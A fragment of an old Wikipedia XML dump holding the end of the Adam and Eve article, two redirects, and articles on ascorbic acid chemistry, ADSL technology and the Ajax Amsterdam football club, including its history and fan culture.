Nevertheless, in the biblical account, the food is consumed, not rejected, and the couple are punished for it by being expelled from the garden. Thus any derivation of the biblical account from Sumerian and Babylonian ones involves the confusion of the tale of Adapa and the south wind and that of Enki in the garden. Such a conflation of these two separate tales may have been influenced by a story preserved in the prologue of ''[[Gilgamesh]], [[Enkidu]] and the Underworld''. In this, Inanna, transplants the ''huluppu'' tree from the [[Euphrates]] to her own garden, but a wicked serpent made its nest amongst the roots of the tree, the Anzu bird had nested in the Branches and [[Lilith|Lilitu]] had taken residence in the trunk, and could not be charmed out. This tale connects the serpent to the garden, as well as, due to the presence of Inanna, goddess of love, holding knowledge coming from trees, and the theme of lust. Removing the part about Enki's rib from the story, and moving it to the start, would have allowed the failure to gain immortality being seen as punishment for eating the fruit, rather than a failure to obtain a gift.

Another confusing point is that translation &quot;rib&quot; from the Hebrew text is inaccurate. It was not interpreted as &quot;rib&quot; until after the [[Septuagint]] in the first, second, or third centuries B.C.E. 

:The Hebrew word translated 'rib'. . . occurs forty-two times in the O. T., and in this instance alone is it translated 'rib.' In the majority of cases it is translated 'side' or 'sides,' in other places 'corners' or, 'chambers,' but never 'rib' or 'ribs.' [http://godswordtowomen.org/resources/onlinebooks/lessons%201-10.htm][http://www.jasher.com/Adamsrib.htm]

===[[Vedic]] (Hindu) Connection===
A [[Vedic]] story told in Mundakopanisad (Vedic text from about 1000BC) refers to two birds perched on a Pippala (Ficus religiosa) tree. One eats the fruit while the other watches, the one who eats fruit represents the individual self &quot;Jiva&quot; because it has sensual pleasure(taste) the second bird does not eat(denies the senses) and represents the Supreme Reality &quot;Atman&quot; [[sanskrit]]. They are both on the same &quot;tree of knowledge&quot; this symbolizes one body. In the Bible &quot;Jiva&quot; becomes [[Eve]]  &quot;Atman&quot; becomes [[Adam]] and Pippala becomes apple. This provides a philosophical interepretation for the origin of Adam and Eve, where Eve incurs sin for eating the fruit. &quot;Jiva&quot; in [[Sanskrit]] means &quot;life&quot; could also be the origins of the word &quot;live&quot;. In short only the complete control of the five senses leads to the Supreme Reality or [[God]] whereas sensual pleasure incurs ultimate unhappiness or [[sin]]. This theme runs through all the worlds major religions.

==Cultural influence==
[[Image:Masaccio-TheExpulsionOfAdamAndEveFromEden-Restoration.jpg|thumb|When it was cleaned, [[Tommaso Masaccio]]'s [[fresco]] of ''The Expulsion'' (1426&amp;ndash;1427) lost the added fig leaves.]]
[[Early Renaissance art]]ists used the theme of Adam and Eve as a way to represent female and male nudes. Later, the nudity was objected to by more modest elements, and fig leaves were added to the older pictures and sculptures, covering their [[genital]]s. The choice of the [[fig tree|fig]] was a result of Mediterranean traditions identifying the unnamed ''Tree of the Knowledge of Good and Evil'' as a fig tree, and since figs leaves were actually mentioned in Genesis as being used to cover Adam and Eve's nudity.

In Northern Europe, the unnamed &quot;Forbidden fruit&quot; became considered a form of [[Apple (fruit)|apple]], partly since the [[germanic language|Germanic]] word ''apple'' originally meant any kind of fruit, only later becoming specialised. The [[larynx]] in the human throat, noticeably more prominent in males, was consequently called an ''[[Adam's apple]]'', from a notion that it was caused by the forbidden fruit sticking in Adam's throat as he swallowed, and the name has stuck. 

Some [[Old Church Slavonic|Slavonic]] texts state that the &quot;forbidden fruit&quot; was actually the [[grape]], that was later changed in its nature and made into something good, much as the serpent was changed by losing its legs and speech.

In [[Aramaic]], the spelling of the name of Eve - חיויה or חיווי - also means ''[[snake]]''. Perhaps coincidentally, there are some examples of iconography depicting Lilith with a snake wrapped around her. 

In late [[20th Century]] / early [[21st Century]] politics, the names of Adam and Eve are frequently invoked by those who oppose homosexuality on a religious basis, in the [[Anti-gay slogan|slogan]] &quot;God made Adam and Eve, not Adam and Steve&quot;.

[[John Steinbeck]]'s [[1952]] novel ''[[East of Eden]]'' is based of the story of Adam, Eve, Cain and Abel.  It was later made in to a [[East of Eden (1955 film)|film]] starring [[James Dean]].

[[Cockney Rhyming Slang]] uses &quot;Adam and Eve&quot; to mean &quot;believe&quot; (e.g. &quot;Would you Adam and Eve it?&quot;, meaning &quot;Would you believe it?&quot;). This phrase is atypical, in that unlike most cockney rhyming slang, both the rhyming and non-rhyming parts are used.

In [[C.S. Lewis]]' ''[[The Lion, the Witch and the Wardrobe|The Lion, The Witch and the Wardrobe]]'' of ''[[The Chronicles of Narnia]]'' series of novels, the kings and queens that sit on Narnia's throne at the castle in Narnia's capital, Cair Paravel, are referred to as &quot;Sons of Adam&quot; and &quot;Daughters of Eve&quot;.  In the story, two male and two female humans are to sit on the four thrones of Cair Paravel to signify the return of peace to Narnia.

==References==
* Mahmoud Ayoub, ''The Qur'an and its Interpreters'', SUNY: Albany, 1984.
* R. Patai, ''The Jewish Alchemists'', Princeton University Press, 1994.
* Fazale Rana and [[Hugh Ross (creationist)|Ross, Hugh]], ''Who Was Adam: A Creation Model Approach to the Origin of Man'', 2005, ISBN 1-576-83577-4
* ''Sibylline Oracles'', III; 24-6. This Greek acrostic also appears in 2 Enoch 30:13.
* David Rohl, ''Legend: The Genesis of Civilisation'', 1998
* Bryan Sykes, ''The Seven Daughters of Eve''
* C.S. Lewis, ''The Lion, The Witch and the Wardrobe&quot;
* Adam Mackie, The Importance of being Adam - Alexo 1997 (only 2000 copies published)

==See also==
*[[The Urantia Book,]] Papers 73 through 78:  The Garden of Eden;  Adam and Eve;  The Default of Adam and Eve; The Second Garden; The Midway Creatures; The Violet Race after the Days of Adam
*[[The Seven Daughters of Eve]]
*[[Kaliyan]]
*[[Creation narrative]]
*[[Garden of Eden]]
*[[Mitochondrial Eve]]
*[[Pre-Adamite]]
*[[Similarities between the Bible and the Qur'an]]
*[[Y-chromosomal Adam]]
*[[The Lion, the Witch and the Wardrobe|The Lion, The Witch and the Wardrobe]]
*[[The Chronicles of Narnia]]

==External links==
*[http://www.loc.gov/exhibits/world/human.html First Human Beings] ([[Library of Congress]])
*[http://ccat.sas.upenn.edu/~humm/Topics/Lilith/alphabet.html The Story of Lilith in ''The Alphabet of Ben Sira'']
*[http://www.islamfrominside.com/Pages/Podcasts/Fall%20of%20Adam%20podcast.html Islamic view of the fall of Adam (audio)]
*[http://www.reasons.org/resources/apologetics/chromosome.shtml Chromosome dating]

[[Category:Torah people]]
[[Category:Characters in Paradise Lost]]
[[Category:Islamic prophets]]

[[ar:آدم]]
[[ca:Adam]]
[[cs:Adam a Eva]]
[[de:Adam und Eva]]
[[et:Aadam]]
[[es:Adán]]
[[eo:Adamo]]
[[fr:Adam]]
[[gl:Adán e Eva]]
[[id:Adam]]
[[it:Adamo]]
[[he:אדם וחוה]]
[[la:Adam]]
[[nl:Adam]]
[[ja:アダムとイヴ]]
[[no:Adam og Eva]]
[[pl:Adam]]
[[pt:Adão e Eva]]
[[ru:Адам]]
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[[sr:Адам и Ева]]
[[fi:Aadam]]
[[sv:Adam och Eva (Bibeln)]]
[[th:อาดัม]]
[[wa:Adan]]</text>
    </revision>
  </page>
  <page>
    <title>ALU</title>
    <id>2266</id>
    <revision>
      <id>20274181</id>
      <timestamp>2005-08-04T17:22:17Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>qualified redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Arithmetic logic unit]] {{R from abbreviation}}</text>
    </revision>
  </page>
  <page>
    <title>Ascorbic acid</title>
    <id>2268</id>
    <revision>
      <id>41945430</id>
      <timestamp>2006-03-02T20:23:44Z</timestamp>
      <contributor>
        <username>KlaudiuMihaila</username>
        <id>934064</id>
      </contributor>
      <minor />
      <comment>interwiki ro</comment>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;margin-left:1em&quot;
|-
! colspan=&quot;2&quot; align=center bgcolor=&quot;#cccccc&quot; |Ascorbic acid
|-
| [[IUPAC nomenclature|Chemical name]]
| align=&quot;center&quot; | &lt;small&gt;2-oxo-L-threo-hexono-&lt;br&gt;1,4-lactone-2,3-enediol &lt;br&gt;or&lt;br&gt;(''R'')-3,4-dihydroxy-&lt;br&gt;5-((''S'')-1,2-dihydroxyethyl)&lt;br&gt;furan-2(5''H'')-one&lt;/small&gt;
|-
| [[Chemical formula]]
| C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;
|-
| [[Molecular mass]]
| 176.12 g/mol
|-
| [[Melting point]]
| 190 - 192 °C (decomposes)
|-
| [[Specific gravity]]
| 1.65 
|-
| [[CAS registry number|CAS number]]
| 50-81-7
|-
| [[EC-No|EC number]]
| 200-066-2 
|-
| [[Simplified molecular input line entry specification|SMILES]]
| &lt;small&gt;OC1=C(C(O[C@@H]1&lt;br&gt;[C@H](CO)O)=O)O&lt;/small&gt;
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:Ascorbic acid.png|chemical structure of L-Ascorbic acid]]
|} 

:''This article deals with the molecule ascorbic acid in General, for the nutrient see [[Vitamin C]]''

'''Ascorbic acid''' is an [[organic_chemistry| organic]] acid with [[antioxidant]] properties. Its appearance is  white to light yellow crystals or powder. It is water soluble. The L-[[enantiomer]] of ascorbic acid is commonly known as [[vitamin C]]. In [[1937]] the [[Nobel Prize]] for chemistry was awarded to [[Walter Haworth]] for his work in determining the structure of ascorbic acid (shared with [[Paul Karrer]], who received his award for work on vitamins), and the prize for Physiology or medicine that year went to [[Albert Szent-Györgyi]] for his studies of the biological functions of L-ascorbic acid. 
__NOTOC__
== Chemistry ==
===Acidity===
The hydroxyls (OH) next to the bottom [[double bond]] are [[enol]]s. One enol loses an [[Lone pair|electron pair]], becoming an [[oxonium]] group (=OH&lt;sup&gt;+&lt;/sup&gt;), by creating a [[double bond]] to the carbon. Simultaneously, the carbon-carbon double bond (between the enols) transfers its electrons to form a double bond to the next (two-oxygen) carbon. To give way, the double bond electrons of the [[carbonyl]] are received by the carbonyl's oxygen, to produce an [[enolate]]. The oxonium promptly [[deprotonation|deprotonate]]s to produce a carbonyl, and this loss of protons gives ascorbic acid its [[acidity]]. The overall reaction is enol deprotonation to produce an [[enolate]], where the negative charge of the resulting enolate [[counterion]] is delocalized over the system of carbonyl (C=O) and the double bond (C=C). This delocalization makes the counterion more stable and less likely to regain the proton.
[[Image:Ascorbic acidity3.png|thumb|left|500px|Movement of electron pairs in deprotonation]]&lt;br style=&quot;clear:left;&quot;&gt;

===Tautomerism===
[[Image:Ascorbic diketone.png|frame|left|Attack of ascorbic enol on proton to give 1,3-diketone]]

Ascorbic acid also rapidly interconverts into two unstable [[diketone]] [[tautomer]]s by [[proton transfer]], although it is the most stable in the enol form. The proton of the enol is lost, and reacquired by electrons from the double bond, to produce a diketone. This is an [[enol]] reaction. There are two possible forms, 1,2-diketone and 1,3-diketone.&lt;br style=&quot;clear:both;&quot;&gt;

===Determination===
The concerntration of a solution of ascorbic acid can be determined in many ways, the most common ways involve [[titration]] with an [[oxidising agent]]. 
====Titrative Methods====
=====DCPIP=====
A commonly used oxidising agent is the dye 2,6-dichlorophenol-indophenol, or [[DCPIP]] for short. The blue dye is run into the ascorbic acid [[solution]] until a faint pink colour persists for 15 seconds.
=====Iodine=====
Another method involves using [[iodine]] and a [[starch]] [[indicator]], iodine reacts with ascorbic acid and when all the ascorbic acid has reacted the iodine is then in excess, forming a blue/black [[complex]] with the starch indicator. this indicates the end point of the titration.
=====Iodate and Iodine Ions=====
The above method involving iodine requires making up and standardising the iodine solution. One way round this is to generate the iodine in the presence of the ascorbic acid by the reaction of [[iodate]] and iodine ion in [[acid]] solution.
=====N-Bromosuccinimide=====
A much less common oxidising agent is [[N-bromosuccinimide]], (NBS). In this titration the NBS oxidises the ascorbic acid (in the presence of [[potassium iodide]] and starch). When the NBS is in excess (i.e. the reaction is complete) the NBS liberates the iodine from the potassium iodide which then form the blue/black complex with starch, indicating the end point of the titration.

== Uses ==

Ascorbic acid is easily oxidized and so is used as a reductant in photographic developer solutions (among others) and as a [[preservative]]. 

Exposure to oxygen, metals, light and heat destroy ascorbic acid, so it must be stored in dark and cold and not in a metal containment.  

The oxidized form of ascorbic acid is known as [[dehydroascorbic acid]].

The [[Optical isomerism|L-enantiomer]] of ascorbic acid is also known as [[vitamin C]] (the name &quot;ascorbic&quot; comes from its property of preventing and curing [[scurvy]]). [[Primate]]s (including humans) and a few other species in all divisions of the animal kingdom, notably the [[guinea pig]], have lost the ability to synthesise vitamin C and must obtain it in their food. 

Ascorbic acid and its sodium, potassium, and calcium [[salts]] are commonly used as [[antioxidant]] [[food additive]]s. These compounds are water soluble and thus cannot protect [[fats]] from oxidation: for this purpose, the fat-[[soluble]] [[ester]]s of ascorbic acid with long-chain [[fatty acid]]s (ascorbyl palmitate or ascorbyl stearate) can be used as food antioxidants.

The relevant European food additive [[E number]]s are:
E300 ascorbic acid,
E301 sodium ascorbate, E302 calcium ascorbate,
E303 potassium ascorbate, 
E304 fatty acid esters of ascorbic acid (i) [[ascorbyl palmitate]] (ii) [[ascorbyl stearate]].

==Antioxidant mechanism==

Ascorbate acts as an antioxidant by being itself available for energeticaly favourable oxidation. Oxidants (scientifically referred to as [[reactive oxygen species]]) such as the hydroxyl radical (formed from [[hydrogen peroxide]]), contain an unpaired electron and thus are highly reactive and damaging to humans and plants at the molecular level. This is due to their interaction with [[nucleic acid]], proteins and lipids. Reactive oxygen species can 'abstract' a hydrogen from ascorbate, which becomes monodehydroascorbate and soon gains another electron to become dehydroascorbate. The reactive oxygen species are reduced to water while the oxidized forms of ascorbate are relatively stable and unreactive, and do not cause cellular damage.

==Reference==
* Clayden, Greeves, Warren, Wothers. ''Organic Chemistry.'' Oxford University Press (2001), ISBN 0198503466.

* Derek Denby ''Chemistry Review'', May 1996

== See also ==
* [[Vitamin C]] for a discussion of the medical properties of ascorbic acid as well as its historic and social role.
* [[Mineral ascorbates]]

==External links==
* [http://ptcl.chem.ox.ac.uk/MSDS/AS/ascorbic_acid.html Safety data] University of Oxford

* [http://www.drpagel.de/Vitamin-C/Diss/EN/mydoc106sum_eng.html Investigations of the oxidation and reduction of the ascorbic acid / dehydroascorbic acid redox system as well as of the hydrolytic saponification from dehydroascorbic acid to diketogulonic acid] Dissertation Giessen 1992

* ''Vitamin C: Its Chemistry and Biochemistry'' Michael B. Davies, John Austin, David A. Partridge. Royal Society of Chemistry. ISBN: 0-85186-333-7

* ''Food: The Chemistry of Its Components; Third Edition'' T.P. Coultate. Royal Society of Chemistry. ISBN: 0-85404-513-9

{{vitamin}}
[[Category:Organic acids]]
[[Category:Antioxidants]]

[[ca:Vitamina C]]
[[de:Ascorbinsäure]]
[[et:C-vitamiin]]
[[es:Vitamina C]]
[[eo:Askorbata acido]]
[[fa:ویتامین ث]]
[[fr:acide ascorbique]]
[[ko:비타민 C]]
[[it:Acido ascorbico]]
[[he:ויטמין C]]
[[lt:Askorbo rūgštis]]
[[lu:Ascorbinsaier]]
[[nl:Ascorbinezuur]]
[[ja:アスコルビン酸]]
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  <page>
    <title>Asyncronous Transfer Mode</title>
    <id>2269</id>
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      <id>15900699</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Asynchronous_Transfer_Mode]]

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  </page>
  <page>
    <title>Asymmetric Digital Subscriber Line</title>
    <id>2270</id>
    <revision>
      <id>41851643</id>
      <timestamp>2006-03-02T03:43:52Z</timestamp>
      <contributor>
        <username>Mg-</username>
        <id>1015033</id>
      </contributor>
      <text xml:space="preserve">{{ADSL standards}}
'''Asymmetric Digital Subscriber Line''' ('''ADSL''') is a form of [[Digital Subscriber Line|DSL]], a data communications technology that enables faster data transmission over [[copper]] [[telephone]] lines than a conventional [[modem]] can provide. 

The distinguishing characteristic of ADSL over [[xDSL]] is that the volume of data flow is greater in one direction than the other, i.e. it is [[asymmetric]]. Providers usually market ADSL as a service for people to connect to the [[Internet]] in a relatively passive mode: able to use the higher speed direction for the &quot;[[download]]&quot; from the Internet but not needing to run servers that would require bandwidth in the other direction.

There are both technical and marketing reasons why ADSL is in many places the most common type offered to home users.  On the technical side, there is likely to be more [[crosstalk]] from other circuits at the [[Digital subscriber line access multiplexer|DSLAM]] end (where the wires from many local loops are close together) than at the customer premises.  Thus the upload signal is weakest at the noisiest part of the local loop, while the download signal is strongest at the noisiest part of the local loop.  It therefore makes technical sense to have the DSLAM transmit at a higher bit rate than does the modem on the customer end.  Since the typical home user in fact does prefer a higher download speed, the telephone companies chose to make a virtue out of necessity, hence ADSL.

For conventional ADSL, downstream rates start at 256 [[kbit/s]] and typically reach 8 [[Mbit/s]] within 1.5 km (5000 ft) of the DSLAM equipped central office or remote terminal. 
Upstream rates start at 64 kbit/s and typically reach 256 kbit/s but can go as high as 1024 kbit/s. The name [[ADSL Lite]] is sometimes used for the slower versions.

Note that distances are only approximations aimed at consumers of ADSL services. Signal [[attenuation]] and [[signal-to-noise ratio|Signal to Noise Ratio]] are defining characteristics, and can vary completely independently of distance (e.g., non-copper cabling, cable diameter). Real world performance is also dependent to the line impedance, which can change dynamically either dependent on weather conditions (very common for old overhead lines) or on the number and quality of joints or junctions in a particular cable length.

A newer variant called ADSL2 provides higher downstream rates of up to 12 Mbit/s for spans of less than 2.5 km (8000 ft). Higher [[symbol rate]]s and more advanced [[noise shaping]] are responsible for these increased speeds. ADSL2+, also referred to as [[ITU G.992.5]], boosts these rates to up to 24 Mbit/s for spans of less than 1.5 km (5000 feet). ADSL2+ also offers seamless bonding options, allowing lines with higher attenuation or lower signal to noise (SNR) ratios to be bonded together to achieve theoretically the sum total of the number of lines (i.e., up to 50 Mbit/s for two lines, etc.), as well as options in power management and seamless rate adaptation - changing the data rate used without requiring to resynchronize.

Because of the relatively low data-rate (compared to optical backbone networks), [[Asynchronous Transfer Mode|ATM]] is an appropriate technology for [[multiplexer|multiplexing]] time-critical data such as digital voice with less time-critical data such as [[web traffic]]; ADSL is commonly deployed  with ATM to ensure that this remains a possibility. In a [[triple play]] scenario, different ATM [[virtual circuit]]s (VCs) may be allocated for different services.

More recently, network operators are increasingly moving away from ATM, and towards [[Ethernet]]-based solutions, where [[IEEE 802.1Q|802.1Q]] and/or [[Virtual Private LAN Service|VPLS]] offer multiplexing solutions. The main reason for this switch is cost savings and the possibility of removing the older and more expensive ATM network.

ADSL service providers may offer either static or dynamic [[IP address]]ing. Static addressing is preferable for people who may wish to connect to their office via a [[virtual private network]], for some [[Internet]] gaming, and for those wishing to use ADSL to host a [[Web server]].

== How ADSL works ==

=== On the wire ===
ADSL uses two separate frequency bands. With standard ADSL, the band from 25.875 [[kHz]] to 138 kHz is used for upstream communication, while 138 kHz - 1104 kHz is used for downstream communication.

[[Image:ADSL_frequency_plan.svg|frame|Frequency plan for ADSL]]

Each of these is further divided into smaller chunks of 4.3125 kHz. During initial training, the ADSL modem tests which of the available chunks have an acceptable [[signal-to-noise ratio]]. The distance from the [[telephone exchange]], or noise on the copper wire, may introduce errors on some frequencies. By keeping the chunks small, an error on one frequency thus need not render the line unusable: the chunk will not be used, merely resulting in reduced throughput on an otherwise functional ADSL connection.

Vendors may support usage of higher frequencies as a proprietary extension to the standard. However, this requires matching vendor-supplied equipment on both ends of the line, and will likely result in crosstalk issues that affect other lines in the same bundle.

There is a direct relationship between the number of chunks available and the throughput capacity of the ADSL connection. The exact data capacity per chunk depends on the [[modulation]] method used.

A common error is to attribute the ''A'' in ''ADSL'' to the word [[asynchronous]]. ADSL technologies use a [[synchronous]] framed protocol for data transmission on the wire.

=== Modulation ===
ADSL initially existed in two flavors (similar to [[VDSL]]), namely [[Carrierless Amplitude Phase Modulation|CAP]] and [[Orthogonal frequency-division multiplexing|DMT]]. CAP was the ''de facto'' standard for ADSL deployments up until [[1996]], deployed in 90 percent of ADSL installs at the time. However, DMT was chosen for the first ITU-T ADSL standards, G.992.1 and G.992.2 (also called ''G.dmt'' and ''G.lite'' respectively). Therefore, all modern installations of ADSL are based on the DMT modulation scheme.

==See also==
* [[DSL around the world]]
* [[Digital Subscriber Line]] for further details and other varieties
* [[Digital subscriber line access multiplexer]]
* [[Low-pass filter|Filter]] and [[ADSL splitter|splitter]].

==External links==
* [http://www.iol.unh.edu/training/dsl/ The UNH-IOL DSL Knowledge Base (advanced tutorials)]
* [http://www.dslforum.org DSL Forum] - Promotional trade organization for the ADSL industry
* [http://www.internode.on.net/adsl2/graph/ ADSL, ADSL2 and ADSL2+ Speeds and Reach Compared]
* [http://www.usr.com/support/8550/8550-ug/two.html ADSL installation].
* [http://www.esatclear.ie/~aodhoh/adsl/report.html ADSL Research Report]

[[Category:ITU-T recommendations]]
[[Category:Digital Subscriber Line]]
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  <page>
    <title>Asynchronous Digital Subscriber Line</title>
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  <page>
    <title>Ajax Amsterdam</title>
    <id>2273</id>
    <revision>
      <id>41307685</id>
      <timestamp>2006-02-26T12:37:10Z</timestamp>
      <contributor>
        <ip>217.199.103.21</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Ajax |
  image    = [[Image:Ajax Amsterdam.png|100px|logo]]|
  fullname = Amsterdamsche Football&lt;br/ &gt;Club Ajax [[Naamloze Vennootschap|N.V.]]|
  nickname = ''Superjoden (SuperJews)'', &lt;br&gt; ''Godenzonen (GodSons)'', &lt;br&gt; ''Joden(Jews)''|
  founded  = [[March 18]], [[1900]] |
  ground   = [[Amsterdam Arena]],&lt;br /&gt;[[Amsterdam]] |
  capacity = 51,859[http://www.amsterdamarena.nl/index.php?pointer=1-2-2131-2136-2155] |
  chairman = [[John C. Jaakke]] |
  manager  = [[Danny Blind]] |
  league   = [[Eredivisie]] |
  season   = 2004-05 |
  position = [[Eredivisie]], 2nd |
  shirtsupplier= |
  shirtsponsors= |
  pattern_la1=|pattern_b1=_whitesides|pattern_ra1=|
  leftarm1=FFFFFF|body1=FF2020|rightarm1=FFFFFF|shorts1=FFFFFF|socks1=FFFFFF|
  pattern_la2=|pattern_b2=_thinwhitesides|pattern_ra2=|
  leftarm2=000080|body2=000080|rightarm2=000080|shorts2=000080|socks2=000080|
}} 
'''Amsterdamsche Football Club Ajax''' ({{Euronext|AJAX}}) also referred to as '''Ajax Amsterdam''', '''AFC Ajax''', or simply '''Ajax''' (pronounced ''Ah-yahx''), is a [[football (soccer)|football]] club from [[Amsterdam]], [[Netherlands]]. The club is historically one of the top-10 football clubs in the world, and one of the 'Big Three' clubs that dominate Dutch football, the other two being [[Feyenoord Rotterdam]] and [[PSV Eindhoven]]. Ajax is one of only four clubs to have won all three major European trophies at least once (the European Champions Cup, the European Cup Winners Cup and the UEFA Cup). They were the first team to win what has become the [[UEFA Intertoto Cup]].

==History==
The club was founded in Amsterdam on [[March 18]], [[1900]] by Floris Stempel, Carel Reeser and the brothers Han and Johan Dade. Ajax originally played in an all black uniform with a red sash tied around the players' waists, but that uniform was soon replaced by a red/white striped shirt and black shorts. Red, black and white are the three colours of the flag of [[Amsterdam]]. However, when the club got promoted to the top flight of Dutch football in 1911 (then the Eerste Klasse or First Class, later named the [[Eredivisie]]), Ajax were forced to change their colours, because [[Sparta Rotterdam]] already had the exact same outfit. Special kits for away fixtures did not exist at the time and according to football association regulations, the newcomers had to change their colours if two teams in the same league had identical uniforms. Loosely inspired by the kit of [[Arsenal F.C.|Arsenal]], Ajax opted for white shorts and white shirt with a broad, vertical red stripe over chest and back, which still is Ajax's outfit. Today, it is one of the most recognised football jerseys in the world. 

Ajax dominated European club football during the early 1970's by winning the European Champion Club's Cup in 1971, 1972 and 1973. The success had two main causes: the highly disciplined coaching by [[Rinus Michels]] and the genius of [[Johan Cruijff]]. From the 1960's onwards Ajax had developed the concept of [[total football]], ending the traditional division of labour between defenders, midfielders and attackers. All players were to participate in all aspects of the game, in an organization that would fill gaps when a player moved to a different position.

The club is also famous for its excellent youth program and has introduced a many great footballers - Cruijff being the best example. Its satellite club is the [[Ajax Cape Town]] of [[South Africa]] from where youth players have been drafted into the [[Eredivisie]] squad, such as [[Steven Pienaar]] and [[Aaron Mokoena]]. In 1995, the year that they won the [[UEFA Champions League]], Ajax was the team that could best represent the [[Netherlands national football team|Dutch national team]] in all departments, with [[goalkeeper]] [[Edwin van der Sar]], players such as [[Michael Reiziger]], [[Frank de Boer]] and [[Danny Blind]] in defense, [[Ronald de Boer]], [[Edgar Davids]] and [[Clarence Seedorf]] in midfield, and [[Patrick Kluivert]] and [[Marc Overmars]] in attack. The team was coached by [[Louis van Gaal]], and also featured foreign stars such as [[Jari Litmanen]], [[Nwankwo Kanu]] and [[Finidi George]]. Its current successes are mostly domestic, notwithstanding some minor successes in the 2002-03 Champions League. Its youth team continues to develop fairly talented individuals like [[Rafael van der Vaart]], [[Wesley Sneijder]], [[Nigel de Jong]], [[Johnny Heitinga]], [[Hedwiges Maduro]] and [[Ryan Babel]] who regularly represent their nation.

After their success with the 1995 Champions League, Ajax has since struggled to rediscover its European form but first they will need to dominate the Eredivisie. Players such as [[Shota Arveladze]] and [[Brian Laudrup]] have won over the fans in the late 1990s but have yet to make their abundance of talents count in major tournaments. Most recently in 2005, popular coach, [[Ronald Koeman]] resigned after Ajax's defeat to [[AJ Auxerre]] in the [[UEFA Cup]] tournament despite having a squad packed with international experience, declaring himself drained of any inspiration to further guide the team to any success. This resignation was also the aftermath of Koeman's long-standing spat with then football director [[Louis van Gaal]] who had questioned Koeman's managerial abilities after Ajax's dry spell in the domestic league which even saw them languishing in fifth position at the beginning of 2005. Koeman's replacement was widely tipped to be as of a manager with vast experience, so it may come as a surprise when former Ajax-player [[Danny Blind]] was unveiled as their new coach, with virtually no top-level manager experience although he had worked with Koeman as a technical coach and advisor. The season may also witness the restructuring of the club with key players [[Rafael van der Vaart]] and [[Nigel de Jong]] joining [[Hamburger SV]], while four others ([[Hatem Trabelsi]], [[Tomas Galasek]], [[Steven Pienaar]] and Maxwell) have already revealed that they will leave the club at the end of the 2005-2006 season. The recent addition of [[Klaas-Jan Huntelaar]] from [[SC Heerenveen]],as well as the improved play of [[Markus Rosenberg]] are reasons that the fans still have hope for success in the coming years.

==Stadium==
Ajax's first stadium was built in 1911 out of wood and was simply called The Stadium. Ajax later played in the stadium that was built for the [[1928 Summer Olympics]], held in Amsterdam. This stadium, designed by Jan Wils, is simply known as the [[Olympisch Stadion (Amsterdam)|Olympic Stadium]]. In 1934, Ajax moved to [[De Meer Stadion]] in east Amsterdam, where they would play until 1996.  De Meer stadium was an unusually small stadium for such a large club, but the small stadium also created a cozy atmosphere.  During big European fixtures the club would often play at the Olympic Stadium, where the capacity was higher.

In 1996, Ajax moved to a new home ground in the southeast of the city known as the [[Amsterdam ArenA]], that was built at the cost of $134 million.  The stadium is capable of holding approximately 52,000 people. The average attendance in 2004/05 was 48,600 people. The Arena has a retractable roof and was the example for other modern stadiums built in Europe in the following years. In the Netherlands, the Arena has earned a reputation for having a terrible grass pitch. The condition of the grass is caused by the roof that, even when open, takes away too much sunlight and ventilation from the ground. 

The much loved De Meer stadium was torn down and the land was sold to the city council.

==Jewish influence==


''Reference: [http://www.ajax-usa.com/desk/ajax-and-the-jewish-issue.html Ajax and the Jewish issue]''

The Ajax fans have the very remarkable tradition of using [[Jewish]] and [[Israeli]] symbols to express their allegiance. Regularly, the supporters wave large [[Star of David]] flags and scream ''Joden! Joden!'' (&quot;Jews! Jews!&quot;) to fire up their team.  Die-hard Ajax supporters call themselves &quot;Joden&quot; or &quot;Super-Joden&quot; -- Dutch for &quot;Super Jews&quot; -- a nickname that reflects the team's and Amsterdam's Jewish roots. The nickname for Ajax fans dates back to before World War II, when Amsterdam was home to many of the Netherlands' 140,000 Jews and the Ajax stadium was located near a Jewish neighborhood. Most Dutch Jews were killed in the Holocaust, and little remains of Amsterdam's old Jewish quarter. But the tradition survived.

The problem is that in an increasingly bizarre way, opposing supporters use [[anti-semitism]] to express their antipathy towards Ajax. When playing Ajax, opposing fans have been spotted to to imitate the whistling sound of [[gas chambers]] and to sing the extremely racist chant ''[[Hamas]], Hamas, alle Joden aan het gas'' (&quot;Hamas, Hamas, all the Jews [Ajax supporters] on the gas&quot;). On the other side, the hardcore Ajax fans are proud of their outsider image as &quot;Jews&quot; and feel encouraged to show more Israeli/ Jewish signs. The ''real'' Jews who support Ajax are split on this matter.

As of 2006, an evaluation on this matter is still highly debatable.

==Rivalry==

Although Ajax has fought with [[PSV]] for the championship in recent years, its main rivalry is with [[Feyenoord]], culminating  every year in the &quot;[[Klassieker (Ajax-Feyenoord)|Klassieker]]&quot;. It is a match between the two largest cities of the Netherlands, one of which identifies with artists and creativity (Amsterdam) and one with hard work. There have been many clashes between the supporters of both clubs, of which the Beverwijk clash in 1997 was the most infamous, leading to the death of [[Ajax Amsterdam|Ajax]]-supporter Carlo Picornie. 

Fans of [[FC Utrecht]] think of Ajax as its most hated opponent as well. Ajax fans didn't really care about this rivalry, although recently, following a few defeats, Utrecht has become more hated by Ajax fans as well.

==Honours==  
===International===
*'''[[European/South American Cup|European/South American Cup (Intercontinental Cup)]]: 2'''
** 1972, 1995 

*'''[[UEFA Champions League|European Champion Club's Cup / Champions League]]: 4'''   
**1971, 1972, 1973, 1995.
   
*'''[[European Cup Winners' Cup]]: 1'''   
**1987.
  
*'''[[UEFA Cup]]: 1'''   
**1992.
    
*'''[[European Super Cup]]: 3'''   
**1972, 1973, 1995.   
   
*'''[[Intertoto Cup]]: 1'''   
**1962.

===National===
    
*'''Dutch championship: 29'''   
**1918, 1919, 1931, 1932, 1934, 1937, 1939, 1947, 1957, 1960, 1966, 1967, 1968, 1970, 1972, 1973, 1977, 1979, 1980, 1982, 1983, 1985, 1990, 1994, 1995, 1996, 1998, 2002, 2004
    
